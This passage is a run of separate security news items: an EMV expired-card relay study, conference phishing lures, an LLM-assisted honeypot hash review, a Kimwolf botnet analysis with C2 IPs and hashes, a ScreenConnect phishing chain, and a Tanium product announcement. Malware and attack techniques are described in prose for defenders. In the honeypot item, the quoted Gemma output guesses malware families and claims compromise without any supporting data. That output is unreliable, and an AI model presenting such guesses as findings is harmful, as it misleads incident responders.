bound into the static data covered by offline data authentication, producing a hash mismatch during signature validation. Discover (Kernel 6). Combined Dynamic Data Authentication binds the card-returned TLV objects into the verified transaction hash, and modified transactions were declined. The relay itself was two NFC-capable Android phones running custom card-emulator and POS-emulator software over Wi-Fi, tested against SumUp Solo and SumUp Plus readers. Each Application Protocol Data Unit (APDU) round trip added an estimated 20 milliseconds for relay and 50 milliseconds with modification, for a per-transaction average of about 415 milliseconds against the EMV limit of 500 milliseconds per command. None of the physical cards or terminals in the testbed implemented EMV's optional Relay Resistance Protocol (RRP), which bounds the permissible response time and would detect the added latency. Against the issuer the researchers label Bank A, the revived card completed transactions of $1.00, $100.00, and $500.00 on the team's own terminal registered under a Professional Services merchant category, plus $2.79 at a retail merchant and $3.19 at a grocery merchant on campus. Bank B's terminal accepted the modified expiry at all three lab amounts, but the issuer declined each one and prompted the cardholder to use the replacement card. Unmodified transactions with the expired card were correctly declined in every baseline run. The banks are anonymized as A through E throughout, and the paper states that the retail and grocery purchases verify external validity only and do not constitute an ecosystem-wide measurement study across merchants, terminal vendors, or issuer configurations. All of the testing was conducted in the United States. A separate finding sits outside the Visa result. One card in the test set had not expired but had been automatically replaced by its issuer for having under three months of validity remaining. Anwar said that for the period before the first card's own expiration date, both it and its replacement were able to make transactions against the same account, unmodified, on Kernel 6, where the expiry edit itself failed. Anwar said the divergence between the three issuers matters more than which one approved or declined. "There is no consensus in the industry as to what is the safe way to handle expiring cards," he told The Hacker News, adding that every bank and payment network sets its own priorities and is therefore exposed to a different type of attack. He pointed to the same team's 2024 USENIX Security paper on digital wallets, In Wallet We Trust, which documented comparable inconsistencies in how issuers and wallet providers enforce card lifecycle state. The paper sets out countermeasures spanning kernels, terminals, and issuers - Bind the expiry-critical data. The Application Expiration Date and the cardholder verification fields should be cryptographically bound to an issuer-verifiable signature, authenticated under offline data authentication, or covered by a kernel-defined transaction hash that fails under in-flight modification. Check the two expiry representations against each other. Where a kernel exposes more than one, the terminal should compare the value it consumes against the one carried in issuer-facing data and produce issuer-visible evidence where they diverge. Authorize against a PAN and expiry tuple. Issuers should treat the presented expiry as part of the credential identity and decline where it does not match the currently valid credential for that PAN. Preserve the terminal validation signals. Expiry-related terminal outcomes should reach the issuer, either by forwarding the actual Terminal Verification Results or through an equivalent issuer-visible indicator. For cardholders, the guidance is to destroy the chip and magnetic stripe of expired cards rather than discard them intact, and to keep monitoring a closed account. Visa has not commented publicly on the findings. The paper records that its report to the network passed initial triage and is undergoing reproduction by Visa's red team, and that "neither Visa nor the notified banks has provided any update on the status or nature of mitigations" as of the paper's acceptance. The Hacker News reached out to Visa for comment and had not received a response at the time of writing. The relay and MitM implementation has not been released; the authors published sanitized transaction logs instead, and the paper's first page carries USENIX's artifact evaluation badge marked Available. The development comes as Singapore-headquartered Group-IB documented a previously unseen Android NFC relay malware family it tracks as WindRelay, deployed alongside the SpyNote remote access trojan (RAT) in live-call social engineering against victims in Czechia, Slovakia, and Slovenia. In a report published August 12, 2026, the firm said it identified 23 samples uploaded to VirusTotal between November 2025 and July 2026 and four command-and-control (C2) IP addresses. That malware relays an active card in real time and does not touch the expiration date, but it uses the same two-device relay primitive the Zombie Card testbed depends on. "This case shows that modern fraud rarely relies on one technique," Group-IB said in the report. UPDATE (August 20, 2026): This story has been updated with comment from lead author Raja Hasnain Anwar on the scope of the five-bank preliminary study and on how the three issuers tested with expired and replaced cards differed in policy rather than only in outcome. Anwar also specified that the automatically replaced card and its replacement both transacted during the period before the first card's own expiration date, a bound the paper does not state. Visa had not responded to a request for comment at the time of writing.

Attendees of cybersecurity conferences should be on the lookout for malicious outreach following the event, according to a new Huntress blog which details one such interaction. The post, published on August 19, explained that a researcher for the security vendor was targeted on X following Black Hat / Def Con this summer. Masquerading as CoinDesk's VP and head of marketing, the malicious actor first asked for help with a fictitious upcoming conference. The researcher spotted the scam but expressed interest to better understand the tactics being used. The actor subsequently sent the researcher a Google Doc disguised as a planning document for the supposed conference. “The Google Doc was more than your typical phishing lure leading to a malicious web page. If an authenticated Google user opened it, a custom Google Apps Script sidebar was presented alongside the document,” Huntress explained. “The document asked the user to enter an ‘encryption key’ (supplied by the actor in DMs), which appeared to fail when entered. The sidebar provided two follow-on options: ClickFix-style instructions and a download option, both intended to download and execute malicious code.” A Persistent Scammer The researcher didn’t fall for the malicious Google Doc. But that didn’t stop the threat actor, who followed up the next day with another. This one was apparently disguised as a Dropbox DocSend share and led to a counterfeit DocSend installer. The installer delivered different payloads depending on the machine the victim was running. For macOS it was an infostealer known as AMOS. For Windows, it was an implant designed to steal cryptocurrency from Ledger wallets, and a traffic-intercepting proxy designed to help the malware evade security software or checks reliant on VirusTotal. “Taken together, the two lures show how the threat actor used familiar platforms to build credibility and keep the target engaged,” Huntress explained. “By combining social media DMs with trusted document and file-sharing services, the actor created a legitimate-looking workflow designed to trick targets into running the malware.” When that approach didn’t work, the actor apparently pivoted yet again, by asking the researcher if they knew anyone who wanted funding of up to $1m. This could have been another pretext to steal credentials or personally identifiable information (PII) from the researcher, they hypothesized. Advice for Conference-Goers Huntress advised any recent returnee from a conference to be on the lookout for legitimate-looking messages which lead to a document or installer where the user is asked to take actions that security controls would normally prevent. “Unexpected requests to run terminal commands, bypass Gatekeeper, install a manual update, or enter a device password are all strong indicators of an attempt to compromise rather than routine troubleshooting in a situation like this,” it concluded. If any users have interacted with such a message, Huntress advised that they: Isolate the system from the network Collect relevant forensic evidence and consider reimaging the system Assume that credentials have been compromised Revoke active sessions, reset passwords, and rotate API keys or any other secrets residing on the system Review cryptocurrency wallets if relevant

In the past few weeks, I have been using Gemma4 as a Large Language Model (LLM) to see how useful it can be to analyze some of the malware hashes uploaded to the DShield sensor over the past 30 days and figure out how its recommendation can be considered useful about the activity my DShield sensor is collecting and tracking. The model I use for this testing is gemma4:e4b [2] using two sites to compare the data against VirusTotal and CyberGordon. The following questions were submitted to Gemma for information: Instructions: 1. Determine if we should be concerned with the volumes or suspicious volumes match indicators of compromise (IoC) or tactics mentioned on the two external websites. 2. Provide a concise comparative analysis and recommendations for action to prevent actors/bots to successfully compromise the sensor. 3. Identify what type of malware family (Popular threat label) the top 3 files are associated with. 4. Highlight potential issues with the top 3 inbound hashes (files) downloaded by actors/bots logged in the sensor and which sites have the most information about this activity. Result from the LLM Analysis Comparative analysis from Gemma 4 : As a cybersecurity analyst, I have analyzed the provided data stream concerning files downloaded by actors/bots to the Cowrie sensors. Analysis of Downloaded Hashes (Top 10 IoCs) Findings and Analysis 1. Volume vs. IoCs vs. Tactics The sheer volume of these hashes (126, 110 events) is a major concern. High volumes do not automatically confirm malicious intent, but when coupled with the fact that they are *downloaded* from an interactive sensor like Cowrie, it indicates successful actor persistence and data exfiltration attempts. Indicators/Tactics Indicator of Compromise (IoC): The hashes themselves act as IoCs if they resolve to known malware families or C2 infrastructure components. Since the external sites provided no results, the focus must be on the *behavior*—the repeated transfer of these files. Tactics (MITRE ATT&CK): This activity strongly suggests Persistence, Command and Control (C2) communication, and potentially Lateral Movement/Exfiltration. The actors are not merely querying the system; they are downloading specific files repeatedly. 2. Comparative Analysis & Recommendations | Aspect | VirusTotal (VT) | CyberGordon (CG) | Conclusion / Action Recommendation | | :--- | :--- | :--- | :--- | | Data Depth | High-fidelity, integrated threat intelligence from multiple sources (AV engines). Best for direct identification. | Academic/Historical analysis engine. Useful for deep source tracking and niche observations. | VT is superior for immediate threat context; CG offers supporting research. | | Reliability | Generally reliable, though sometimes slow or requires paid access for full fidelity. | Utility appears high but the provided output is generic (focusing on JS compatibility rather than results). | Rely primarily on VT/Commercial Threat Feeds. Do not treat lack of a result as "safe." | | Missing Data | The provided snippet was boilerplate ("Please enable JavaScript"), meaning we missed vital IoC intelligence. | The provided snippet was generic browser/engine advice, offering no actionable threat intel. | Critical Action: Develop a structured workflow to *ensure* the results page is fully processed and captured for all 10 hashes. | Recommendations for Action (Preventing Compromise): 1. Immediate Containment: Treat any machine connected through this sensor as compromised. Isolate the host and initiate forensic imaging immediately. 2. Mitigation at Sensor Level: Update Cowrie's logging and alerting capabilities to track file *execution* attempts, not just downloads. Implement stricter egress filtering on the network hosting the sensors. 3. Threat Hunting (Proactive): Utilize the Top 10 hashes to query internal Endpoint Detection and Response (EDR) solutions across the entire enterprise, searching for the hash signatures or file names appearing on any system *outside* of the sensor environment. 4. Hardening: Review user access policies and network segmentation rules. The repeated downloading suggests a persistent gap in perimeter controls. 3. Associated Malware Family (Top 3 Hashes) Since no specific threat intelligence results were provided for these hashes, this analysis is based on the pattern of high-volume command-and-control behavior. 1. 197c74408e15bd1168105f564f96aace4fd4819961b724630bf5a6be4878daf8: Botnet/Loader Malware. The extremely high event count and consistent downloading pattern are classic indicators of a payload being repeatedly delivered, likely by an established botnet or initial access Trojan (RAT). 2. 31d4181843b1ed10a7e7cb3f108f6d6c50a7a4452ee52ddacabe8ca77260615e: Backdoor/Keylogger. Similar to the top hash, but potentially representing a specific piece of payload used for data exfiltration (like credentials or session tokens). 3. 94f2e4d8d4436874785cd14e6e6d403507b8750852f7f2040352069a75da4c00: Credential Stealer/Dropper. This hash may represent a modular component or a staged payload, designed to "drop" the final malware onto the compromised system after initial access. 4. Potential Issues with Top 3 Hashes & Best Data Source Potential Issue Highlight (Focusing on Behavioral Risk) The primary issue is not necessarily what the hashes *are*, but that they are actively being *downloaded* repeatedly by a controlled actor over a sustained period (Top 10). This behavior confirms successful compromise and established persistence. The actors have successfully identified data pathways to download their chosen payloads, bypassing existing security controls. Comparison of Sites for Top 3 Given the critical nature of these files: VirusTotal (VT): Is the preferred source. Despite the provided boilerplate text, VT's strength lies in its aggregation of multiple vendor signatures (AV engines). It provides the highest likelihood of a quick determination whether the hash is *known malicious*. CyberGordon (CG): Is useful as a secondary research source or for understanding the historical context of the observed payload type. Its data output, based on observation and academic logging, might reveal more about *how* the file was used in previous compromises, which is valuable for threat hunting. Conclusion The most reliable actionable intelligence will be obtained by re-querying both sites multiple times to ensure 100% capture of the IoC data. However, VT provides the immediate signature risk assessment. My own conclusion: I think the information provided by Gemma is a nice summary as long as the right tools (sites) are provided that can be used to gather additional information to use to better answer the questions initially asked in the instructions. The python script used for this test is available here. [1] https://en.wikipedia.org/wiki/Large_language_model [2] https://ollama.com/library/gemma4 [3] https://cybergordon.com [4] https://www.virustotal.com [5] https://dshield.org/diary/Using+AI+Gemma+3+Locally+with+a+Single+CPU/32556 [6] https://github.com/bruneaug/DShield-SIEM [7] https://github.com/bruneaug/DShield-SIEM/tree/main/Ollama ----------- Guy Bruneau IPSS Inc. My GitHub Page Twitter: GuyBruneau gbruneau at isc dot sans dot edu

We are providing a content warning because the following article contains usage of a racial slur by a threat actor, which Unit 42 does not condone in any instance. We have partially redacted the racial slur, but preserved some references to it in order to provide researchers with the ability to identify it and check IoCs as needed. We identified a new version (v7) of the Kimwolf Android/internet-of-things (IoT) botnet. This version upgrades its distributed denial-of-service (DDoS) attack capabilities and the resilience of its command-and-control (C2) infrastructure. Kimwolf primarily affects Android TV boxes and set-top boxes. Kimwolf v7 adds an HTTP/2-based DDoS flood that constructs complete browser fingerprints. This makes attack traffic more difficult to distinguish from legitimate browsing. The threat’s binary includes five hard-coded public Ethereum-based endpoints for resolving Ethereum Name Service (ENS) domains. ENS is a blockchain-based naming system used to obtain C2 addresses. Kimwolf also carries a hard-coded Tor .onion hidden service as a backup and a local proxy architecture for flexible routing between clearnet and Tor. The malware developers added this function to directly respond to C2 server takedown efforts in December 2025. We discovered this variant on Feb. 3, 2026, through threat hunting that followed public disclosures by XLab, Synthient, Infoblox, Cloudflare and others. Palo Alto Networks customers are better protected through the following products and services: If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team. The Kimwolf botnet (also tracked as AISURU) has been active since August 2024. It initially targeted Linux IoT devices under the AISURU name. The botnet transitioned to Android TV boxes around August 2025. This reflects two separate codebases under the same operators. AISURU covers the Linux IoT variants, and Kimwolf covers variants targeting Android. Kimwolf spreads by misusing residential proxy services to reach unauthenticated Android Debug Bridge (ADB) instances on local networks. Some Android TV boxes ship with ADB enabled on port 5555. Once attackers tunnel through a proxy endpoint into the local network, they can install the malware without any authentication. The Kimwolf sample we analyzed as a baseline is a statically linked ARM Executable and Linkable Format (ELF) binary. The file was compiled with the Android Native Development Kit (NDK) using Clang and uses Bionic libc. It statically links BoringSSL for Transport Layer Security (TLS) operations and nghttp2 for HTTP/2 functionality. The binary is stripped but retains some symbol information. It is not uncommon for malware authors to use racial slurs in their code. The Kimwolf malware family has historically included racial slurs. In our discussion of the v7 variant, we have partially redacted these slurs, but have left enough information present that defenders could identify the variant and check for IoCs. Previous Kimwolf builds used the internal version strings such as n[redacted]boxv4 and n[redacted]boxv5, establishing the naming pattern for the family. The version string n[redacted]boxv7, shown in Figure 1, identifies this sample as version 7. The binary creates a Unix domain socket @n[redacted]boxv7 to ensure only one instance runs at a time. On execution, the malware masks its process name as netd_service to blend in with legitimate Android system processes. We identified six ELF samples that we clustered together based on multiple indicators: They share an identical ELF section layout produced by a common Android NDK build environment, and the same hard-coded set of Ethereum remote procedure call (RPC) endpoints Overlapping C2 infrastructure within the same hosting provider Consistent process-name masquerading behavior One of the most notable new capabilities in Kimwolf v7 is an HTTP/2 flood powered by the nghttp2 library. The function that performs the attack_case17_http2_flood constructs complete browser fingerprints. This makes the flood traffic difficult to distinguish from legitimate browser requests. Figure 2 shows the header construction logic in the decompiled binary. Kimwolf v7 uses a layered C2 resolution system designed to survive the domain takedowns that disrupted the botnet twice in December 2025. This isn't the last time operation of this malware faced disruption. On March 19, 2026, the U.S. Justice Department and international partners announced a court-authorized operation that seized C2 infrastructure used by the Aisuru, KimWolf, JackSkid and Mossad botnets. The binary contains five hard-coded public Ethereum RPC endpoints stored in plaintext, shown in Figure 3: hxxps[:]//0xrpc[.]io/eth hxxps[:]//eth.llamarpc[.]com hxxps[:]//ethereum-rpc.publicnode[.]com hxxps[:]//eth-protect.rpc.blxrbdn[.]com hxxps[:]//eth.merkle[.]io These endpoints are legitimate public Ethereum RPC services. The malware misuses them to query ENS domain records and resolve C2 addresses. Organizations should monitor for unusual Ethereum RPC traffic from IoT and Android devices rather than blocking these endpoints outright. The malware shuffles these endpoints using a pseudo-random number generator (PRNG) before each resolution attempt. The five-way redundancy makes blocking ENS-based C2 resolution harder. While the five public RPC endpoints in the baseline binary are third-party services, our infrastructure investigation identified a sixth endpoint that we assess with moderate confidence to be under the operator's control: eth[.]rpcuniverse[.]com. Several properties distinguish it from the legitimate providers: The legitimate endpoints are established services with significant traffic and resolve to multiple anycast IP addresses across major cloud delivery network (CDN) and cloud providers They have apex domains registered between 2005 and 2022 The rpcuniverse[.]com domain has no global traffic ranking - It resolves to a single IP address on a low-cost virtual private server (VPS) that was registered on Dec. 12, 2023 - Its TLS certificate first appeared on the hosting IP address days later - Reverse passive DNS shows the IP address hosts only rpcuniverse[.]com subdomains with no other tenants Two Kimwolf samples hardcode eth[.]rpcuniverse[.]com as an additional RPC endpoint alongside the five legitimate providers - Both ELF and Android APK variants contact the hosting IP address directly - We did not observe this direct-to-IP address contact pattern with any of the legitimate RPC endpoints We cannot confirm domain ownership. However, the dedicated single-tenant hosting, the timing of its registration relative to Kimwolf activity and its exclusive presence in Kimwolf binaries suggest it is an operator-controlled facade rather than a public service. When ENS resolution fails, the v7 binary falls back to a hard-coded v3 Tor .onion address (edctgwib2n5l34t525zkxqzk5bqb6e5il2yiq5r6zu7gtlxa4uosn3qd[.]onion). Figure 4 shows the hard-coded address in the binary. A function (tor_proxy_state_machine) manages the protocol states. To do this, it performs the following activities: Sending the greeting (0x05 0x01 0x00) Building a CONNECT request with domain type 0x03 and the 62-byte .onion address Waiting for the response and performing a TLS handshake over the tunnel Figure 5 shows the greeting and TLS handshake states. Additionally, it uses a local proxy architecture. All C2 traffic routes through a local proxy at 127.0.0[.]1:23075 shown in Figure 6, regardless of whether it is destined for clearnet or Tor. This modular design allows the proxy component to be updated independently from the main bot binary. Analysis of Kimwolf v7 samples revealed C2 connections to several IP addresses, including: 212.193.31[.]119 and 212.193.31[.]122 on TCP port 13 212.193.31[.]92 and 212.193.31[.]158 on TCP port 443 None of these IP addresses had prior indicators of malicious activity or associations with public threat intelligence. During infrastructure analysis, we observed that these hosts presented the same SSH host key. Pivoting on that shared key revealed 22 total IP addresses within the same range, presenting the identical key between Dec. 18, 2025, and Feb. 3, 2026. No hosts outside this range shared the key. IP address 212.193.31[.]102 was the first host observed with this key on Dec. 18, 2025, and it was the seed from which the configuration propagated. The remaining 21 hosts appeared over the following six weeks, with the last addition on Jan. 31, 2026. All 22 hosts reside in AS202799, geolocated to Saint Petersburg, Russia. Kimwolf implements a dedicated high-performance UDP flood function that uses a Xorshift256 PRNG seeded from /dev/urandom. It (prng_seed_from_urandom) reads 32 bytes (four 64-bit state words) to initialize the full 256-bit state. A SplitMix64 fallback initializer activates if /dev/urandom is unavailable. The flood function accelerates IP/UDP checksum computation with ARM NEON single instruction, multiple data (SIMD) instructions. The vectorized checksum loop processes four 16-bit halfwords simultaneously using VLD1.16, VADDW.U16 and VADD.I32 instructions. This optimization is tailored for the ARM processors found in Android TV boxes. It reduces per-packet checksum overhead to maximize throughput. Figure 7 shows the NEON SIMD instructions in the disassembled binary. The dispatch table supports 15 DDoS methods across Layers 3–7 of the Open Systems Interconnection (OSI) model. Cases 8, 11 and 13 are absent from the switch statement, suggesting they are either reserved for future use or were removed during consolidation from the 43 text-named methods in prior versions. Table 1 lists all 15 attack methods. Table 1. Kimwolf v7 DDoS attack methods. In Kimwolf v7, malware authors consolidated the attack count to 15 numbered methods. They removed all scanning, exploitation and brute-force functionality. The new additions target: DDoS stealth through HTTP/2 with browser fingerprinting C2 resilience through ENS, Tor and the local proxy The removal of the scanner and exploit modules suggests the operators have separated the propagation pipeline from the DDoS bot. External loaders now handle initial access while the Kimwolf binary handles attacks and proxy relay. The earliest dropped sample, targeting the x86 architecture with a Dirty COW exploit, suggests the family evolved from traditional Linux exploitation toward the current ADB-based Android propagation model. The transition from libn[redacted]kernel.so to the less conspicuous libdevice.so filename in November 2025, followed by a revert in December, indicates active operational security adjustments. Alongside the standalone ELF payloads, the Kimwolf operators distribute Android APK packages that bundle an ELF kernel payload inside a Java wrapper. We identified eight APK samples spanning October through December 2025, all sharing the component class systemservice0644.N[redacted]Kernel. These APKs masquerade as a system service called SystemService. On execution, they probe for root access and execute the embedded ELF kernel with commands shown below in Figure 8. The earliest build (October 2025) used the com. Android prefix and bundled three kernel variants in a single APK. By late October, the package name shifted to com.n2.systemservice0644, and the kernel was consolidated to a single binary. In November, the kernel filename changed from libn[redacted]kernel.so to libdevice.so, then reverted in the December builds. Three signing certificates appear across the cluster: The original Kimwolf APK certificate (C=CN, CN=a) used by the com.android.logcatd variants An Android Debug certificate used during development A self-signed certificate with subject C=XK, ST=lol, L=lol, O=lol, OU=lol, CN=lol (country code XK for Kosovo, all other fields set to lol) used by five of the eight N[redacted]Kernel APK files The APK wrapper drops one of three ELF kernel payloads, depending on the build. These are listed in Table 2. Table 2. Dropped ELF kernel payloads. The earliest sample (first seen Sept. 2, 2025) is notable for two reasons: It targets x86 architecture rather than ARM - This indicates that the botnet originally targeted x86 Linux systems before pivoting to ARM-based IoT and Android devices It drops a file named libcow.so, and renames its process to inetd to blend in with Unix network services - The name libcow.so is likely a reference to the Dirty COW privilege escalation vulnerability (CVE-2016-5195) The libdevice.so sample renames its process to TVHelper, which explicitly targets Android TV set-top boxes by mimicking a legitimate TV helper service. Neither the libn[redacted]kernel.so nor libdevice.so kernels embed the Ethereum RPC endpoints found in the standalone ELF builds. The C2 resolution layer resides in the outer APK wrapper or the standalone ELF binary, while the kernel handles lower-level bot operations. Kimwolf v7 is a focused evolution of an already large-scale botnet. The HTTP/2 flood with Chrome browser fingerprinting complicates application-layer DDoS mitigation, as attack traffic now mirrors legitimate browser behavior at the protocol and header level. The three-tier C2 system (Ethereum ENS, Tor .onion, local proxy) indicates that the operators are investing in infrastructure built to withstand takedown operations. Organizations should monitor for the following behavioral indicators of Kimwolf compromise on IoT and Android devices: Outbound HTTPS connections to public Ethereum RPC endpoints (e.g., 0xrpc[.]io) from devices that typically do not interact with blockchain services Tor circuit establishment or SOCKS5 proxy traffic from Android TV boxes or IoT devices Connections to port 23075 on localhost A process named netd_service running on consumer Android devices Organizations should treat Android TV boxes as untrusted and segment them from enterprise networks. Disabling ADB or restricting it to USB-only access removes the primary propagation vector for this botnet. Palo Alto Networks customers are better protected through the following products and services: The Advanced WildFire machine-learning models and analysis techniques have been reviewed and updated in light of the indicators shared in this research, Advanced URL Filtering and Advanced DNS Security identify known domains and URLs associated with this activity as malicious. Device Security is designed to proactively protect the entire device attack surface, from IT to IoT and OT, with a unified platform that helps deliver comprehensive visibility, actionable risk insights and adaptive security enforcement. If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call: North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42) UK: +44.20.3743.3660 Europe and Middle East: +31.20.299.3130 Asia: +65.6983.8730 Japan: +81.50.1790.0200 Australia: +61.2.4062.7950 India: 000 800 050 45107 South Korea: +82.080.467.8774 Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance. SHA256 hash: 406647de09a0ffa279756b4ccb344b1b76a333320c5b50fd367901fa006cf0ff MD5 hash: d759364844d78a728505fb0485c3adbc File size: 1,720,108 bytes File type: ELF 32-bit LSB executable, ARM, statically linked, stripped File description: Kimwolf v7 bot payload (baseline analyzed sample); version string n[recacted]boxv7 SHA256 hash: 345222bca004595977f971d76900b0c65fd9bf9d91c50cd0c5bf5a93f1ad9e49 MD5 hash: 036bcb62be72c4663b9564955f93b05f File size: 1,712,624 bytes File type: ELF 32-bit LSB executable, ARM, statically linked, stripped File description: Kimwolf v7 bot payload SHA256 hash: 2ec2e85b0358e0c681cb5067489a9086ec97dbbf7e3c952dd9cd496b319d5af5 MD5 hash: 33faca1e0090f6b12eff703daf4606e4 File size: 1,720,108 bytes File type: ELF 32-bit LSB executable, ARM, statically linked, stripped File description: Kimwolf v7 bot payload; hard codes eth.rpcuniverse[.]com in the binary SHA256 hash: 951c94809aa6c7ab587125f9d4df30fa6a49ee0cbba76a4b7ceedaaa0e5dcd36 File type: Android APK Package name: com.android.logcatd File type: ELF 32-bit LSB executable, ARM, statically linked, stripped File description: Kimwolf Android variant; masquerades as system logcat daemon; includes TorService and BootReceiver persistence; contacts 23.94.221[.]104 SHA256 hash: f07821e313c16cbbd82def45094a22c8d474164051bdbc7648d6869e012014b4 File type: Android APK Package name: com.android.logcatd File type: ELF 32-bit LSB executable, ARM, statically linked, stripped File description: Kimwolf Android variant; sibling of the above, same signing certificate and package; contacts 23.94.221[.]104 VHash: 76554ad09897ac723a850eaf8c525efa Description: Structural hash shared by the three Kimwolf v7 ELF samples (5 total matches across VirusTotal) APK signing certificate (SHA-1 thumbprint): 2a1d96f1b066877812587ac94f45f82dfff5f5f9 Subject: C=CN, CN=a Description: Self-signed certificate used to sign both Kimwolf Android samples TLS certificate (SHA256 hash): f3e8a55a2a3ea7c7b6676e90f4f49a2c55b13065b68ee50c51cc35fe2b5c3237 Issuer: Let's Encrypt Description: Certificate issued for eth.rpcuniverse[.]com, observed on 23.94.221[.]104 between Dec. 13, 2023, and March 12, 2024 Domain: rpcuniverse[.]com Description: Multi-chain RPC service; apex registered Dec. 9, 2023 (Namecheap); resolves to 23.94.221[.]104; hard-coded subdomain present in Kimwolf sample Domain: eth.rpcuniverse[.]com Description: RPC subdomain hard-coded in Kimwolf sample 2ec2e85b... Domain: avax.rpcuniverse[.]com Description: RPC subdomain resolving to 23.94.221[.]104 IP address: 23.94.221[.]104 Description: Operator host (AS36352 RackNerd, Dallas); hosts rpcuniverse[.]com; contacted by Kimwolf ELF and APK samplesng IP address:port: 212.193.31[.]158:443 Description: HTTPS C2 traffic (AS202799 SYSECT, Russia); offline after Jan. 31, 2026 IP address:port: 212.193.31[.]119:13 Description: C2 traffic IP address:port: 212.193.31[.]122:13 Description: C2 traffic IP address: 212.193.31[.]102 Description: C2 host (linked via shared SSH host key with .158 IP address:port: 212.193.31[.]92:443 Description: HTTPS C2 traffic (AS202799 SYSECT, Russia) Tor hidden service: edctgwib2n5l34t525zkxqzk5bqb6e5il2yiq5r6zu7gtlxa4uosn3qd[.]onion Description: v7 hidden-service C2 fallback Kimwolf Botnet Exposed – XLab AISURU Botnet Technical Analysis – XLab A Broken System Fueling Botnets – Synthient Kimwolf Howls from Inside the Enterprise – Infoblox The Kimwolf Botnet is Stalking Your Local Network – KrebsOnSecurity Kimwolf Botnet Lurking in Corporate, Govt Networks – KrebsOnSecurity KIMWOLF V7 IoT BOTNET EVOLUTION - Unit 42 Updated August 13 2026 at 2:00 p.m. PT to add information on the U.S. Justice Department and international partner operation seizing C2 domains used by KimWolf and related botnets.

A phishing campaign is exploiting fears surrounding the recently disclosed COLDCARD wallet vulnerability and suspected $88.6 million Bitcoin theft to trick users into installing ScreenConnect remote access software. Proofpoint, which discovered the campaign, says it uses emails impersonating COLDCARD that claim a security audit is underway across its hardware cold storage wallet devices. The phishing campaign comes after attackers recently stole approximately 1,367 Bitcoin, worth an estimated $88.6 million, from 4,585 addresses using what is believed to be a random number generation flaw affecting multiple COLDCARD models and firmware versions. The emails are sent from [email protected] with the subject "Hardware audit now available" and tell recipients that recent findings require COLDCARD to verify the integrity of devices across all hardware revisions. "We are writing to inform you of a coordinated security audit now underway across the COLDCARD device network. Recent findings have prompted us to verify the integrity of hardware across all revisions, and your participation is needed," reads the fake security audit emails. The emails direct users to an alleged "Security Verification & Incident Reporting Tool," claiming the process is air-gapped, will not request their recovery seed, and must be completed by August 10. Clicking an "Access the Audit Tool" button opens the site coldcardcompliance.com, which impersonates COLDCARD with a message to click on the "Start Hardware Audit" button to download the tool. The fake website also includes a live "Customer Service" chat feature that allegedly allows targets to receive support for their COLDCARD devices. In chats shared by Proofpoint, an operator asks whether the victim uses Windows or macOS and then instructs Windows users to run the downloaded tool. When one user reported seeing a black window and an administrator prompt, the operator explained that the prompt was required to begin the installation and told them to click "Yes." Proofpoint believes these conversations are likely being handled by real people rather than an automated chatbot, allowing the attackers to respond to concerns and pressure hesitant victims into proceeding with the installation. Batch file installs remote access software Proofpoint shared on X that clicking on the website's "Start Hardware Audit" button downloads a batch file named Coldcard_Diagnostic_Tool.bat from a GitHub account. BleepingComputer analyzed the 25.7MB batch file shared by Proofpoint and found that it contains two Base64-encoded files embedded directly in the file. When launched, the script first pretends to perform a diagnostic check on your device, but in the background it actually checks whether the user has administrator privileges. If it does not, it uses PowerShell to relaunch itself with a User Account Control prompt to request elevated permissions. The script then stores the embedded Base64-encoded files in a randomly named directory as setup.msi [VirusTotal] and docusign.exe [VirusTotal] in the Windows temp folder and decodes them using Windows certutil. After installing the setup.msi file, the script launches docusign.exe, displays an "Installation Complete" message, and then deletes the temporary directory. The docusign.exe file is a legitimate signed executable that installs a DocuSign printer driver, which acts as a decoy during the attack. The MSI launched setup.msi file is actually a ConnectWise ScreenConnect installer, which is a remote management tool that gives the threat actor remote access to the device. When launched, Proofpoint says it connects to the activeretirementrelocation[.]com, which is the ScreenConnect command-and-control server used by the threat actor. Once connected through ScreenConnect, the attackers could remotely access the computer, steal data or cryptocurrency, or install additional malware. Proofpoint warns that this access could also be used to deploy ransomware. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

Tanium expands autonomous security across AI, exposure management and SecOps Tanium has announced a series of new autonomous security capabilities across the Tanium Autonomous IT Platform. Spanning agentic AI, exposure management and security operations, the capabilities empower IT and security operators to stay ahead of an AI-accelerated threat landscape, safely, without losing control. “Tanium is the platform that governs and manages them with Tanium Atlas — where every action is auditable, boundaries are enforced, and everything is grounded in what’s actually happening on the endpoint right now. What we are introducing extends that same principle across the full lifecycle from external exposure to detection to remediation,” said Harman Kaur, CTO at Tanium. That attack surface is expanding on every front: more identities, cloud services, and AI tooling are being deployed faster than security teams can vet them, while attackers use that same AI to move at machine speed. Keeping pace, let alone getting ahead, demands autonomous security: the ability to detect, decide, and remediate at that same speed. That is what Tanium is delivering, extending the Tanium Autonomous IT Platform across three areas: agentic AI, exposure management, and security operations, giving operators a complete view from external attack surface to endpoint, and the ability to act on it autonomously, at scale. Agentic AI and Tanium Atlas Tanium Atlas is an autonomous operating system built natively on the Tanium Autonomous IT Platform. It is designed to take IT and security operators from question to resolution in a single experience. Tanium Atlas runs through a governance model that makes it auditable and keeps it within limits defined by the operator, and can be reviewed after the fact. New capabilities within Tanium Atlas include: Agentic Performance Analysis: With the introduction of Agentic Performance Analysis, an operator can use Tanium Atlas to trace a slow machine back to its actual root cause in moments, replacing hours of manual log correlation. Background AI Agents: Tanium Atlas doesn’t just wait for someone to ask. Background AI Agents continuously surface issues before operators need to ask, and Tanium Atlas executes full alert-to-resolution workflows within limits operators define. Tanium Automate: Tanium Automate is expanding with endpoint-level sequence execution and a generalized API step, enabling playbooks to run faster on each endpoint while also connecting directly to external systems through REST and GraphQL APIs. As Tanium Atlas advances, Automate becomes the governed execution layer that turns endpoint intelligence and AI-assisted recommendations into safe, orchestrated action across endpoints and connected systems. Tanium Atlas MCP Server: Tanium Atlas MCP Server exposes approved Tanium data and actions as tools inside Claude, Microsoft Security Copilot, Copilot Studio, and other MCP-compatible AI clients through a governed Model Context Protocol server, allowing agents to interact with the Tanium Autonomous IT Platform and Tanium Atlas. That real-time endpoint foundation extends beyond the endpoint itself, to what an organization has exposed to the internet. 